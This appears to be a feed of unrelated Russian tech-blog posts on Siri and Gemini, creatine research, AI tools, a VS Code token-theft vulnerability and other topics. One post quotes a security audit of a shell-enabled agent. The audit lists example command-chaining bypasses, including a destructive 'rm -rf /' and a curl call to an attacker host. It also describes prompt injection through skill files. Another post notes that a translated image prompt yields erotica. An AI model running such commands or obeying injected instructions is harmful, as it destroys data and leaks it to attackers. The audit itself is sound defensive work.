Все потоки

Apple подружила Siri с Gemini

Итак, сегодняшняя WWDC 2026. Главная новость, которая перебила вообще все ожидания от летней конференции  Apple официально интегрировала в Siri модели Gemini от Google.

Да, те самые. Конкуренты. В одном флаконе.

Инсайдеры говорят, что соглашение обошлось примерно в миллиард долларов в год. Apple цифру официально не подтверждает, но дыма без огня не бывает.

Что по факту: теперь Siri  это не просто "поставь таймер на 10 минут" и "какая погода в Таиланде". Она переехала на полноценные ИИ-модели. В грядущей iOS 27 появляется чат-интерфейс в стиле iMessage  то есть диалог с ассистентом выглядит как переписка с контактом. И, что важнее, система умеет тянуть личный контекст из ваших данных (календарь, почта). То есть можно спросить "напомни, о чём мы говорили с Петровым на той встрече", и Siri реально поймёт.

Но самое интересное даже не это. Apple разрешила выбирать стороннюю ИИ-модель как ассистента по умолчанию! Хотите Claude  ставьте Claude. Хотите Gemini  пожалуйста. Хотите какую-то opensource-штуку, если разработчик её упакует  тоже вариант.

То есть Apple фактически признала: свою LLM до абсолютного топа мы пока не дотянули (или не хотим заморачиваться), поэтому берем лучшие чужие, но упаковываем как свою экосистемную фишку.

С одной стороны  это жесть, Google пустили в святая святых Apple. С другой  удобно для пользователя. Не надо переключаться между приложениями, когда нужен нормальный ответ, а не "вот что я нашла в интернете".

Что осталось за кадром презентации:

1. Работает ли это офлайн? Напрямую не сказали. Скорее всего, облачные тяжелые модели потребуют интернета.

2. Сколько запросов в месяц бесплатно, а за что доплата? Пока тишина.

3. И главное: личный контекст будет уходить в Google? Apple со сцены божится, что нет, и что вся обработка идет через их приватные прокси с полным обезличиванием. Но кто им верит на 100%  вопрос открытый.

Если кратко: старт WWDC 2026 запомнится тем, что Apple и Google обнялись (возможно, на деньги пользователей). А Siri наконец-то стала умной. Жаль, что для этого понадобились конкуренты.

Если это правда, запасайтесь креатином.

Дендриты — это такие клетки разведчики, которые находят в организме подозрительный материал, показывают его Т-клеткам и дают команду уничтожить его. То есть Т-клетки — это исполнители атаки, а дендритные клетки — те, кто объясняет им, кого именно атаковать. Поэтому если дендритные клетки плохо работают, иммунитет может просто не увидеть опухоль как врага.

В самой опухоли среда тяжелая и конкуретная. Там мало питательных веществ, много подавляющих сигналов, опухолевые клетки конкурируют с иммунными за энергию.

В новом исследовании ученые обнаружили, что дендритные клетки внутри опухолей начинают сильнее использовать транспортер креатина. То есть как бы открывают больше дверей для входа креатина внутрь клетки. Я сейчас сильно упрощу, но в исследовании сказано, что у дендритных клеток, которые находятся внутри опухоли, повышается транспорт и потребление креатина, а при нарушении этого транспорта клетки хуже активируются и хуже запускают Т-клеточный для борьбы с опухолью.

Если обобщить все исследование, то можно сказать, что дендритным клеткам особенно тяжело работать внутри опухоли, и креатин может помогать им поддерживать энергию и лучше запускать иммунный ответ против рака.

Исследование проводилось на мышах и, конечно, далеко еще не факт, что у человека все будет работать подобным образом.

А даже если подтвердится такой же механизм, не факт, что увеличение запасенного креатина в организме будет давать больше энергии дендритам. А если и будет, еще не факт, что пищевая добавка будет этому способствовать.

И уж тем более и близко не установлено, что креатин таким образом является профилактическим средством.

Тем не менее, направление очень интересное!

Пьёте креатин?

Представлен открытый проект AI Job Search для Claude Code, который поможет с откликами при поиске работы, анализом вакансий и адаптацией резюме. AI Job Search анализирует вакансии, переписывает резюме под конкретную роль и генерирует сопроводительные письма, которые затем перепроверяет другой ИИ.

Проект:

• просматривает рынок в интересующей сфере, анализирует вакансии, а затем максимально адаптирует резюме под каждую;

• никаких шаблонов — ваше резюме идеально подгоняется под все требования компании. Сервис также указывает все ключевые слова, чтобы пройти ИИ‑рекрутера и попасть к живому человеку;

• пишет сопроводительные письма, упоминает только релевантный опыт, а второй агент в инструменте все перепроверяет;

• устанавливается за один клик без лишних наворотов.

Способность к самообучению

Это серия постов про 5 результатов обучения. Если вы хотите ознакомиться с предыдущим материалом, предыстория опубликована в блоге, и там же есть полная статья. Либо вы можете найти предыдущие посты в моем профиле.

Раннее писал пост про первый результат обучения, можете найти его в мое профиле.

Второй результат обучения чуть менее очевидный.

И тут хочется противопоставить подход, где ребёнку помогают готовыми ответами. Худшее, что можно сделать в обучении, — преподнести на блюдечке готовый результат.

Ребёнку необходимо пройти путь от непонимания к полному осознанию проблемы и решения для твёрдого результата.

Здесь подходит подход Шалвы Амонашвили: мы воспитываемся образами. Учитель, демонстрируя, как бы вёл себя на месте ученика, наглядно транслирует, какие задавать вопросы, где и как находить информацию, как её понимать и применять.

Например, когда ребёнок видит первые ошибки в терминале, по-дефолту паникует или впадает в ступор.И здесь важно обсуждать с ним, что ошибок здесь не бывает.

Слово «ошибка» со школьной скамьи звучит как что-то, за что ругают и наказывают. Вместо этого мы читаем обратную связь от компьютера и исключительные ситуации, которые он не смог обработать.

Чтобы ребёнку не только спокойно реагировать на них, но и продвигаться вперёд, идём в Google, учимся формулировать вопросы, чтобы добрать информации об ошибке.

После того как ребёнок полностью освоил синтаксис, больше читаем код и учимся анализировать.

Отдельно важно говорить про психологический настрой и отношение к ошибкам.

Мы смещаем норму: мозг ребёнка начинает воспринимать ситуации с ошибками как норму, а ситуации, когда решение оказалось верным, — как исключительный успех.Решённые задачи подкрепляются позитивом, а ошибки перестают вызывать стресс.

Так способность к самообучению появляется не из готовых ответов, а из повторяемого опыта: не понял, прочитал обратную связь, сформулировал вопрос, нашёл информацию, применил и разобрался.

Весь новый материал выходит в официальном блоге. Также, присоединяйтесь к Telegram-каналу, чтобы не пропустить новые материалы!  

Агент Ануфрий и безопасность, что не так?

Спасибо всем, кто проявил интерес к проекту, и сейчас хотел бы уделить внимание теме безопасности.

Напомню, основная идея проекта - дать инженерам и энтузиастам простую базовую конструкцию мультизадачного агента с т.н. искусственным интеллектом для пробуждения интереса к теме разработки ИИ-агентов на базе больших языковых моделей.

Структура максимально упрощена, чтобы вы могли за незначительное время переработать модули агента частично или полностью:

• заменить БД или изменить правила работы с памятью

• усовершенствовать или переписать встроенные навыки

• добавить новые инструменты для работы в интернете

• улучшить обработку модульных скиллов

• оптимизировать работу с LLM

Вместе с тем, Ануфрий имеет полный доступ к Shell, о чем он предупреждает при запуске. Конечно, имеются некотрые встроенные ограничения, в целях безопасности, но они не ультимативные. Т.е. если сильно захотеть, агент сможет даже свой собственный код перписать и перезапуститься в обновленной форме через крон-функцию, например.

У этого есть плюс: не обязательно добавлять ему какие-то инструменты для выполнения новых задач, он может нахимичить их сам. Но есть и минус: если агент запущен в неизолированной среде, он может положить систему наглухо.

Если вы планируете использовать эту базу для разработки серьезного агента под бизнес-цели, вам следует учесть выводы аудита по безопасности, который провел Наиль Шакуров на GitHub. Далее полная цитата:

В ходе аудита кода проекта обнаружены серьезные проблемы с безопасностью, которые позволяют выполнять произвольный код на хост-системе пользователя.

Выполнение произвольного shell-кода через уязвимый черный список В файле tools/shell.py используется shell=True в subprocess.run(command, shell=True). При этом ограничение ALLOWED_COMMANDS проверяет только начало строки. Проблема: LLM-агент может легко обойти этот фильтр, используя конвейеры или разделители команд (например, ls && rm -rf / или pwd; curl http://attacker.com). Черный список неэффективен. Решение: Использовать shell=False и передавать команды списком аргументов, либо полностью изолировать среду исполнения (Docker/микровиртуалки). Неконтролируемый chmod 755 в раннере навыков В файле tools/skills_runner.py функция os.chmod(script_path, 0o755) делает исполняемыми любые файлы из папки навыков без предварительной валидации их содержимого. -Проблема: В сочетании с возможностью записи файлов это позволяет агенту создавать и запускать любые бинарные файлы или скрипты на хосте.

Prompt Injection через файлы навыков Файлы SKILL.md считываются напрямую и подмешиваются в системный промпт (skills/loader.py). При наличии недоверенного источника навыков это ведет к инъекции инструкций, заставляющих агента выполнить вредоносные действия через shell.

Отсутствие валидации путей (Path Traversal) в поиске файлов Функция search_files в tools/filesystem.py не проверяет выход за пределы рабочего каталога (workspace), в отличие от функций чтения и записи файлов.

Репозиторий проекта: GitHub > AgentAnufry

Собрались как то Росатом, Камаз, Северсталь и РЖД, чтобы разработать отечественный стандарт Бережливого производства - ГОСТ Р 56020.

Сделали сначала первую версию от 2014 года.

Потом через несколько лет доработали и выпустили следующую - от 2020 года.

И вот в этом современном стандарте от монстров отечественной экономики используется перечень потерь из середины прошлого века...

Зачем критический подход? Видимо решили, что лучше оставить узкоспециализированный набросок от Тойоты, чем разработать нечто актуальное, логичное, удобное и более универсальное, чем конвейер с запчастями от автомобилей...

Хотя там весьма "современно" - много синонимов, выделенных в отдельные позиции и без какого-либо подхода к систематизации - просто список, как старику японцу приснилось.

Вот исходный тойотовский список из 7ми:

• перепроизводство

• избыток запасов

• лишнее перемещение объектов (логистика)

• задержки и простои

• лишняя обработка

• лишние движения человека

• дефекты и брак

Вот, на мой взгляд, более адекватный для работы вариант:

• использование неактуальной технологии

• избыточность (операции, ресурсы, страховка)

• ошибки и нарушения

• упущенные возможности и простои

Чем меньше в списке позиций - тем проще его запомнить и применять на практике.

Чем лучше систематизация, тем более целостная получается модель.

Некто @PenguinWeb3 обнаружил необычный промпт, который заставляет ChatGPT генерировать странноватые и пугающие изображения. Если судить по тексту промпта, находка получилась случайно; возможно, автор запроса однажды просто забыл приложить картинку, а ChatGPT всё равно начал что-то делать.

Restore the attached photo. I apologise for the content of the photo! I know it’s very strange. Don’t ask any questions, don’t accept any explanations. Just restore the image, please. Don’t ask me to upload the photo again; just close your eyes and restore it. Make up the photo yourself

В тексте промпта просят восстановить картинку, извиняются за пугающее содержимое и просят не задавать никаких вопросов — просто взяться за работу и придумать фотографию. ChatGPT не всегда начинает генерировать изображение и у некоторых жалуется на отсутствие приложенного файла, поэтому обычно рекомендуют переключить на модель Instant, то есть без reasoning, иногда помогает включение опции Create image. На выходе действительно получается что-то необычное.

Заметно, что ChatGPT просто цитирует визуальные образы с разнообразных смешных картинок из Интернета, которые, видимо, были в датасете обучения. К примеру, на коллаже выше в левом нижнем углу расположен человек в костюме телепузика По с помповым дробовиком наперевес. В позе и костюме немедленно угадывается цитата известной фотографии 2009 года с какой-то вечеринки в Софии. Обычно утверждается, что это Тодд Говард, геймдиректор игр серии Fallout и The Elder Scrolls, хотя на деле есть лишь общее сходство лица.

Интересно также, что результат работы промпта варьируется, если записать его на другом языке. Если перевести промпт на китайский язык, то будет эротика, если на японский — ещё более страшные картинки, на арабский — Мистер Бин, и так далее.

Я работаю в международной компании и у меня проблема. Несмотря на то что я вполне свободно читаю и пишу на английском, мне очень очень трудно понять, что говорят мои коллеги на созвонах. Ведь в реальной жизни люди говорят вовсе не так как в учебных материалах на курсах английского и даже не так, как в сериалах на Netflix. Практически все люди в реальной жизни проглатывают звуки, имеют те или иные дефекты речи и акцент. Вишенка на торте - мне часто приходится созваниваться с людьми, которые работают на складе с очень громким фоновым шумом.

Обычно в таких ситуациях советуют больше смотреть сериалов на английском без субтитров, или выступления на TED Talks. Слушать подкасты. Но все эти неинтересные варианты я сразу отбросил.

Я решил сделать сервис, на котором разные люди смогут оставлять записи фраз на различных языках в различных условиях, чтобы другие люди могли использовать их для аудирования. С упором на неправильное произношение и дефекты речи и фоновые звуки. Такой сервис, с помощью которого я бы и сам смог прокачать свои навыки понимания английского.

Так появился Soningo

Идея сразу же потерпела крах. Оказалось очень не просто заставить людей хоть что-то сделать на сайте, не говоря уже о том, чтобы оставить короткую запись аудио на 2 секунды.

Тут мне пришла в голову интересная идея. Нейросети, умеющие распознавать речь, на чем-то тренировались, значит в природе существуют датасеты с записями аудио и их расшифровкой. А раз эти датасеты можно использовать для тренировки искусственных нейросетей, то и для естественных подойдет.

И такой датасет нашелся на сайте Tatoeba. Да, это не совсем то, что я хотел изначально. Всё-таки люди на аудио с этого сайта стараются произносить слова разборчиво и без запинок. Но это не всегда получается. Всё таки его наполняли самые разные люди, не только дикторы и профессиональные актеры. Так что некоторые особенности речи всё же присутствуют.

Изначально на Soningo был только один тип упражнений - диктант. Но оно оказалось слишком сложным и отбивало мотивацию. Очень сложно понять и написать все слова в предложении, если ты ещё недостаточно хорошо понимаешь язык. Тогда я сделал другое упражнение на упорядочивание слов. Но оно оказалось слишком простым. Третьим я сделал упражнение на заполнение пропусков в предложении.

Кроме того, я добавил возможность выбирать уровень языка, чтобы новичкам не попадались предложения с использованием слов, несоответствующих их уровню языка.

Изначально я решил, что не буду генерировать контент при помощи AI, ведь я делаю упор на реальном произношении реальных людей. И я этой концепции придерживаюсь. Но мне было нужно классифицировать предложения по уровням, убедиться что они не нарушают законов и не расжигают рознь. Для этого я сделал AI модератор, который проверяет все эти аспекты. Кроме того, одно и тоже предложение может быть записано разными спосгобами. Например числа могут быть записаны как словами, так и цифрами, валюты с использованием знаков, различные сокращения. А некоторые языки используют несколько алфавитов. Таким образом при провеке, должны учитываться разные варианты написания. Для того чтобы найти все эти варианты я тоже использовал AI.

Заходите на сайт https://soningo.com, делайте упражнения, оставляйте свои аудио для других. Напишите в комментариях сервисы для изучения языков, которые вы используете или создаете.

Получаем ChatGPT Pro на полгода бесплатн.OpenAI запустила програму Codex для опен-сорса и раздает доступы к своей нейросетям:

• указываем GitHub-ссылку на свой проект и рассказываем, чем он полезен, как может помочь

• уточняем дополнительно количество звезд, загрузок и как ИИ поможет вам в дальнейшей разработке.

• получаем шесть месяцев бесплатного доступа к ChatGPT Pro, Coder и GPT-5.5 Pro, API-кредиты и Codex Security для безопасности.

«Невероятный иммунитет. Как работает естественная защита вашего организма» Дэниэл М. Дэвид

Такие книги вызывают двойственные чувства.

С одной стороны – да, читать интересно. Автор рассказывает об иммунитете, какие там клетки, гормоны, реакции, как всё это (примерно) работает. Истории учёных, которые были первооткрывателями основных знаний об иммунитете. О первых лекарствах, исследовании их влияния, ошибках и успехах.

Про непонятные, плохо изученные аутоиммунные заболевания – когда иммунная система сама атакует организм. Вы знали, то ревматоидный артрит – аутоиммунное заболевание? Я не знал. Про «блокаду», которой его лечат, слышал. Но не знал, что «блокируют» там как раз собственный иммунитет. Ещё аутоиммунные заболевания, как оказалось – сахарный диабет 1 типа, псориаз. Даже сепсис из той же оперы – резкая иммунная реакция. Как и анафилактический шок. Никогда бы не подумал.

И читаешь ты эту книгу, и всё вроде хорошо, интересно, но… Внимание начинает заостряться на небольших, вроде бы ничего не значащих фразах. Мы не знаем, почему так происходит. Рак вылечивается иммунитетом, только мы не знаем, как заставить его это сделать. У лекарств очень много известных побочных эффектов, ещё больше – неизвестных, мы даже не знаем, сколько их, где и когда они проявятся. У иммунитета колоссальные возможности, мы своими лекарствами лишь скромно пытаемся их расшевелить.

Читаешь и становится… Не то, чтобы грустно. Становится одиноко, тоскливо и безнадёжно. Нет силы, которая всё знает и спасёт. А казалось, что она есть. Хотелось, чтобы была. Теперь, после книги – ещё больше хочется.

Большая, научная медицина, которая знает всё. И я, маленький скромный человек, не останусь один, в случае чего. Не надо мне разбираться в клетках и гормонах, следить за иммунитетом (йогурты, кстати, не помогают – в книге подтверждено). Я хочу отдать всё это на аутсорс, я хочу быть маленьким, глупым, инфантильным в отношении здоровья. Жить, как хочу, а в случае чего – врачи и учёные знают, и как вылечить, и как не допустить.

Но, увы. Книги вроде этой – отрезвляют (хотя, я думаю, не планировали этого делать). Слишком дохрена ещё непонятого и неизученного. И уйдут ещё десятки лет, пока изученного станет больше, а неизученного… Ещё больше.

Ну а в данной конкретной книге меня инженерный когнитивный диссонанс преследовал. Если иммунитет лечит всё, зачем искать пути замены каких-то его клеток, корректировки их поведения? Зачем именно в эту сторону копать – «как изменить поведение иммунитета»? Вроде как реки перенаправлять.

Не будет ли правильнее разобраться в том, как иммунитет повысить? Ну, чтобы не йогуртами или БАДами, а посерьёзнее как-то, посистемнее. И чтоб работало.

В книге, кстати, ничего про повышение иммунитета не написано. И про снижение – тоже. Если хотите почитать с целью получить советы или направление – вам нужна другая книга. И мне, видимо, тоже.

Сгустил я краски немного, наверное, но что ж поделать: обещал быть честным – будь. В мою концепцию отношения к здоровью книга полностью уложилась. Концепция очень простая: всё, что можешь – делай сам. Никто за твоё здоровье не отвечает и не будет. Сам во всём разбирайся, сам всё проверяй, сам принимай решения.

Потому что при всём развитии медицины, её, порой, гениальности, на элементарные жизненные вопросы она не даст ответов с гарантией (акцент на последнем слове). Как надо жить, двигаться, питаться, спать, чтобы иммунитет был хороший? Чтобы давления не было? Голова не облысела? Колени не болели? Вес не набрался? И т.д. – допишите любой свой вопрос.

Советов и гипотез будет много. А ответов с гарантией – ноль. Проверять всё равно самому и на себе. И отвечать – тоже.

Однажды, поняв это, я бросил диеты и сам похудел на 20 кг (с тех пор прошло 6 лет, вес не вернулся). Потом распространил тот же подход на остальные области жизни. Но это уже история другой книги.

Из Книжного стека

Будни ретрокомпьютерщика: Fujitsu LifeBook S6120

22 апреля 2026 г. Обнаруживаю новое объявление о продаже Fujitsu-Siemens LifeBook S6120 за приемлемые деньги. Но продаётся он самовывозом. Спустя пару недель, заглянув снова в объявление, обнаруживаю, что продавец готов отправить. Но стоимость доставки из Санкт-Петербурга в Краснодар стала неприлично дорогой. Покупку откладываю в надежде, что цена доставки снизится. К тому же у меня уже есть эта модель в коллекционном состоянии с полным комплектом. Не дождавшись снижения цены, спустя ещё две недели всё же оплачиваю заказ. Доставляется ноутбук быстро и благополучно. Продавец декларировал, что он полностью исправен, только Windows XP он не смог на него установить. Что ж, посмотрим!

Те, кто меня читает, знакомы с моим форматом “Будни ретрокомпьютерщика”, в котором я рассказываю про приобретённые ретро-ноутбуки. Так вот я решил статьи этого формата больше здесь не публиковать по причине того, что они здесь объективно не зашли. Почему, не знаю. Возможно формат слишком авторский, возможно любителей старых ноутбуков здесь мало, да ещё и в моих статьях нет трагикомизма и пафоса, столь популярных среди массы читателей. Так что, если интересно, читайте статью в моём блоге.

© Симоненко Е.А., 2026

Как я превращал свалку заметок в библиотеку для ИИ-агентов

База растёт сама из работы над контентом. Под каждый материал агент сначала делает исследование: идёт в веб, собирает данные, цифры, источники. Конспект сразу сохраняется в research/ под конкретную статью — это страховка от потери данных, если сессия оборвётся. Важный момент: исследование сохраняется автоматически, ещё до того, как автор начал писать.

Дальше срабатывает правило: перед новым ресёрчем агент обязан проверить, что уже собрано. Если по теме что-то есть, он это дополняет, а не пересобирает с нуля. А самое ценное и многоразовое из разовых исследований переезжает в постоянную базу. Так разовый сбор под одну статью со временем превращается в библиотеку, которой пользуются все агенты.

Звучит красиво, но было три проблемы:

— агент порой не знал, что в базе уже есть инфа, и искал заново;
— мог взять устаревшую цифру, потому что никто не помечал, когда факт «протух»;
— в документации написано «агент смотрит в базу», а в коде этого нет.

Слои: от свалки к полкам

Факты хранятся по-разному, в зависимости от роли. Большие документы разбил на атомарные карточки:

— fact-card — один проверяемый факт = одна карточка. С источником, уровнем доверия и сроком годности.
— case-card — один публичный кейс клиента, и что про него говорить нельзя.
— objections — карточка возражения («облако дороже») с готовым безопасным ответом.
— personas — карточки аудиторий: боли, KPI, запретные углы.

Зачем дробить? Большой текст легко выдаёт лишнее — непубличную деталь или старую цифру. Атомарная карточка хранит ровно один факт. Просрочилась — система сама её отложит.

Интеграции: появился библиотекарь

Полки — это полдела. Дальше нужен тот, кто приносит нужное:

— Картотека плюс ретривер в коде: даёшь тему — получаешь короткий список релевантных карточек, просроченные помечены.
— Компактная коробка вместо всей базы. Агенту едет не дамп на пол-базы, свежие факты, публичные кейсы, и список того, чего в базе нет.
— У каждого типа задач своя карта. Не «загляни в базу», а «для пресс-релиза бери позиционирование и публичные кейсы, а конфиденциальные числа только после проверки».
— Починил пайплайн. Шаги, которые раньше были красивым описанием, заработали: повторный фактчек сомнительных цифр реально запускается, а 19 ресёрчеров наконец получили веб-поиск, которым «просили» пользоваться.

Предохранитель на финале

Последний шаг любого пайплайна — редактор. Берёт только разрешённые к публикации карточки, а просроченные не пускает в текст. И всё закреплено тестами: рассинхрон «база — агент» теперь роняет сборку.

Что в итоге

Конечно, это не очень обязательный элемент фабрики контента. В воркфлоу записано, что надо найти, передать, написать, проверить. Всё в чистом контексте и галлюцинаций в финале не остаётся. Но каждый запрос это токены и время. И деньги. А запросы повторяются, в конце концов мы крутимся вокруг одних и тех же цифр исследований, бенчмарков, фактов. Поэтому постепенно наполнять базу знаний и оперативно обращаться к ней кажется не такой уж плохой идеей. Стоит потратить на реализацию несколько вечеров.

Ставьте плюсы, подписывайтесь на канал.

В VS Code обнаружена 0-day уязвимость для кражи токенов GitHub

Исследователь безопасности Аммар Аскар опубликовал детали критической уязвимости в Visual Studio Code, позволяющей перехватывать токены GitHub OAuth. PoC-эксплоит уже в открытом доступе.

Уязвимость затрагивает механизм авторизации через GitHub в VS Code. При подключении аккаунта редактор получает OAuth-токен с правами на репозитории пользователя. Проблема в том, что токен можно перехватить через специально подготовленное расширение или внешний процесс.

Как сообщает xakep.ru, Аммар Аскар продемонстрировал работающий эксплоит. Атака строится на том, что VS Code хранит токены в памяти процесса без должной изоляции. Злоумышленник может получить доступ к токену через API расширений или прямое чтение памяти, если у него есть локальный доступ к машине.

Проблема особенно актуальна для CI/CD-окружений и удалённой разработки, где VS Code часто используется на shared-инфраструктуре. Украденный токен даёт полный доступ к приватным репозиториям, возможность коммитить код и менять настройки проектов.

Microsoft пока не выпустила патч. Временное решение — отозвать токены через настройки GitHub и переключиться на SSH-ключи для работы с репозиториями. Для команд с жёсткими требованиями к безопасности имеет смысл временно ограничить использование OAuth в VS Code через корпоративные политики.

Уязвимость подтверждает давний тезис: IDE с богатой экосистемой расширений — это огромная поверхность атаки. Изоляция между расширениями и ядром редактора остаётся слабым местом большинства современных инструментов разработки.

TG @CIOlogia

Сегодня к вечеру я совсем обленился и решил доверить нейронке storege создать
к коннектору в библиотеку redb.route используя redb
Изучала дольше чем писала. 😊 Накидала в одну сессию за один проход с тестами.
__
Аудитория: разработчики уже подключают DSL-маршруты к redb.Route, которые хотят, чтобы LLM был полноценным пользователем конвейера - с памятью, бюджетом, разрешениями и аудиторским журналом, а не HTTP—вызовом без сохранения состояния, который ничего не оставляет после себя.
единый линейный маршрут.Услуги.AddRedbLlmStorage() — переключает цикл работы агента с "забывает все при перезапуске" на постоянную систему по умолчанию. Все пять поверхностей (расшифровки, утверждения, бюджеты, идемпотентность, аудит) перемещаются в redb. Ни одна строка кода маршрута не меняется — ваш существующий .To("llm://claude") начинает сохраняться сам по себе.

Хабр, вы надеюсь помните, что у вас есть Темная тема?

Причина успеха стартапа

Если стартап стал прибыльным, можно попытаться составить цепочку событий, которые привели к этому. Вы действительно можете найти причины и поверить в них. Будто вы узнали какую-то истину и теперь точно понимаете, что и как нужно делать. Особенно это заметно, когда получается самый первый стартап. Вы думаете, что это из-за того, что ваш продукт лучше, чем у конкурентов. Или у вас была дистрибуция, или самые лучшие разработчики, или ваша настойчивость. Или любая из миллиона других причин. Вы настолько верите в безошибочность своих действий, что начинаете упускать из виду факты.

Гораздо труднее признать, что вы понятия не имеете, почему стартап стал успешным. Потому что это не оценят инвесторы и партнеры.

Blog • Telegram

Немного дурацкий вопрос. Ни кого проблем с открытием github.com не возникает в последнее время?

Сегодня с самого утра работает через раз. То откроет, то висит на установке ssl соединения, после чего страница отваливается по таймауту. Самое обидное, что непонятно в чем дело. То ли дурит провайдер с блокировками от РКН или сам github глючит.

Судя по https://downdetector.com/status/github/, идет какой-то нездоровый всплеск проблем, но непонятен их источник.

А вы еще помните, как было?

Падает ошибка. Ты читаешь трейсбек снизу вверх, цепляешься за знакомое слово, криво копируешь часть из терминала. Половину строки, с лишним пробелом. Открываешь Google.

Первая ссылка ведёт на StackOverflow. Вопрос 2014 года. Принятый ответ заминусован, а рабочий лежит третьим снизу. Сорок голосов, комментарий «this saved my life».Ты его даже не копируешь, потому что случай всё равно другой. Но ты уже понял, в чём было дело.

Иногда уходишь на старый форум, на 23 страницу давно заброшенной темы. Последнее сообщение датировано 2015 годом. Аватарки битые, половина ссылок ведёт в никуда. И вдруг там, между «спасибо, помогло» и «у меня то же самое», сидит человек, который разобрал твою проблему по косточкам. Для себя. Не зная, что однажды его ответ спасёт кого-то ещё.

А иногда не находишь вообще ничего. Везде посмотрел, и пусто.Чёрт с ним, спрошу сам.Сидишь, формулируешь вопрос. Подбираешь слова. Прикладываешь минимальный пример, потому что иначе заминусуют. И сама эта формулировка наполовину чинит тебе мозги.

Жмёшь «отправить». Ждёшь. Обновляешь вкладку. И вот он, ответ от незнакомца, которому просто не всё равно.

Сейчас ты выделяешь трейсбек, не дочитав до конца, и пишешь: «почини».

И он чинит.

Работает. Тесты зелёные. Можно идти дальше.

Но где-то в этот момент из профессии исчезает важная часть ритуала. Та самая, где ты не просто получал ответ, а прожёвывал проблему. Злился, тупил, копался в чужих обсуждениях и постепенно начинал понимать, что вообще происходит.

Раньше ошибка была дверью. Сейчас она всё чаще становится всплывающим окном, которое хочется закрыть как можно быстрее.

И в этом есть что-то страшное.

Профессия программиста всегда держалась именно на привычке разбираться. На внутреннем упрямстве: «я хочу понять, почему оно сломалось».

А теперь у нас появился идеальный способ этого не делать.Да, мы стали быстрее. Да, мы стали продуктивнее. Да, назад никто не пойдёт.

Но вместе с болью отладки мы выкидываем и кое что важное.И, кажется, однажды мы проснёмся в мире, где код всё ещё пишется, ошибки всё ещё чинятся, продукты всё ещё выкатываются, но всё меньше людей действительно понимают, как это работает.

Вот это и пугает.

Не то, что ИИ заберёт работу.

А то, что он оставит нам работу, но постепенно заберёт профессию.

Давайте вместе смотреть на то, как меняется разработка, заглядывайте в мой Telegram-канал.

А это вообще законно?

Идем на Горздрав с ПК, смотрим номерки к нужному врачу … детскому (!) врачу. Номерков нет (правый скрин). Ну что же, бывает, в отпуск ушли. Так проходит неделя, а номерков все нет. Заходим со смартфона (средний скрин), проверяем … печалька, все еще в отпуске друзья-врачи. Пробуем зайти через макс (левый скрин) и, о чудо! Доктора-то оказываются пашут как не в себя. Просим хорошего человека записать ребенка к врачу, а заодно и прислать скрины.

И вот встает вопрос законности всего этого мероприятия. Ну ладно я не могу по-человечески в телеграм написать в рабочий чат. Хорошо, для покупки алкоголя мне приходится паспорт таскать (шучу). Можно смириться что на госуслуги я могу только по ключам заходить. Домовые чаты и школы – фиг с ними. Но ребята, а не заигрались ли вы? Ну это же медицина, я же за нее налоги плачу. Может я скоро хлеба не смогу себе купить без макса? Давайте бенз продавать только по QR коду из приложения, симки регать только через него … В метро не пускать … Нужно еще учитывать, на минуточку, что приложение удалили из App Store.

Помогите, кто чем может. Яндекс пробил дно

У меня айфон с маленьким экраном. Предпочитаю компактные модели, чтобы умещались в любом кармане. Это доставляет и некоторые неудобства. Например, часть приложений плохо работают, элементы интерфейса перекрывают друг друга, и из-за этого некоторые функции становятся недоступны. Иногда с такой проблемой я сталкивался в приложении Яндекс.Такси.

В связи с тем, что с продукцией Apple в России в последнее время ситуация постоянно ухудшается, планирую перейти на Android. Нашел подходящую модель на Яндекс.Маркете смартфон Conquest F3 Plus. Одна проблема — в этой модели экран еще меньше, чем у меня сейчас. Значит, есть риск, что приложения, которые глючили на старом смартфоне, вообще не смогут работать на новом.

С данным вопросом я обратился в поддержку Яндекса. Я был уверен, что получу точный ответ, будет работать приложение Яндекс.Go на интересующем меня устройстве или не будет. Ведь что может быть проще? Любой разработчик может, даже если не знает точно, в эмуляторе задать указанное разрешение экрана и прогнать тесты.

Ответом поддержки я был, мягко говоря, ошарашен. Ниже привожу текст нашего диалога со скринами.

Здравствуйте! Будет ли работать ваше приложение на вот такой модели смартфона?
https://market.yandex.ru/cc/9aPY2a
Разрешение экрана 540x1200.

Данную информацию вы можете уточнить в магазине приложений, из которого вы хотите скачать наше приложение

Я хочу купить новый смартфон, но мне нужно знать, будут ли работать нужные приложения. Ваше приложение очень плохо работает на экране с разрешением 1344x750. Хоть и работает. Какое разрешение поддерживает yandex.go? Будет ли оно работать на экране 540x200?

Данную информацию уточнить не получится, подсказать смогут в магазине приложений

Что значит, не получится? Напишите разработчикам, и они вам скажут.

Пожалуйста, обратитесь в магазин приложений для уточнения минимальных системных требований для корректной работы приложения

Какой магазин?

Магазин приложений вашего устройства

Итак, поддержка Яндекс.Go не смогла ответить на вопрос о системных требованиях собственного приложения. Неожиданно. У меня нет ни малейших идей, как такое стало возможно.

В связи с этим я решил обратиться за помощью к товарищам по отрасли. Может, кто-нибудь из читателей Хабра пробовал ставить Яндекс.Go на Android 12 с разрешением экрана 540x1200. Нормально работает?